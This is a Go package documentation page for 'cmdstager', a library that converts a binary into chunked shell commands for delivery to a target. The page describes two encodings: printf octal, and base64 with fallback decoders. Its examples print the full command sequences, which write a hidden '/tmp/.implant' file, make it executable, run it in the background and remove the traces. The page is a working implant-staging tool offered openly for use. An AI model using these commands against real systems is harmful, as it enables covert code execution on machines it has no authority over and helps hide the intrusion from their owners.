cmdstager

package
v0.4.1 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Mar 3, 2026 License: AGPL-3.0 Imports: 2 Imported by: 0

Documentation

Index

Examples

Constants

View Source
const (
	FlavorPrintf   Flavor = "printf"
	FlavorBourne   Flavor = "bourne"
	DefaultFlavor         = FlavorPrintf
	DefaultLineMax        = 2047
)

Variables

This section is empty.

Functions

func Bourne

func Bourne(binary []byte, opts Options) []string

Bourne encodes a binary as base64 chunks with a portable decoder. Returns a list of shell commands: echo chunks to .b64 file, decode, chmod, exec, cleanup.

Example
binary := []byte{0x7f, 'E', 'L', 'F'}
commands := Bourne(binary, Options{TempPath: "/tmp/.implant", LineMax: 2047})
for _, cmd := range commands {
	fmt.Println(cmd)
}
Output:

echo -n 'f0VMRg=='>>/tmp/.implant.b64
((which base64 >&2 && base64 -d) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2>/dev/null >/tmp/.implant </tmp/.implant.b64
chmod +x /tmp/.implant
/tmp/.implant &
rm -f /tmp/.implant /tmp/.implant.b64

func Generate

func Generate(binary []byte, flavor Flavor, opts Options) ([]string, error)

Generate encodes a binary into shell commands using the specified flavor.

func Printf

func Printf(binary []byte, opts Options) []string

Printf encodes a binary as printf octal chunks. Returns a list of shell commands: printf chunks, chmod +x, exec in background, cleanup.

Example
binary := []byte{0x7f, 'E', 'L', 'F'}
commands := Printf(binary, Options{TempPath: "/tmp/.implant", LineMax: 2047})
for _, cmd := range commands {
	fmt.Println(cmd)
}
Output:

printf '\177\105\114\106'>>/tmp/.implant
chmod +x /tmp/.implant
/tmp/.implant &
rm -f /tmp/.implant

Types

type Flavor

type Flavor string

Flavor selects the encoding strategy for chunked delivery.

type Options

type Options struct {
	TempPath string // destination path on target, e.g. "/tmp/.pXrT4k"
	LineMax  int    // max command length per chunk (default 2047)
}

Options controls chunking behavior.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL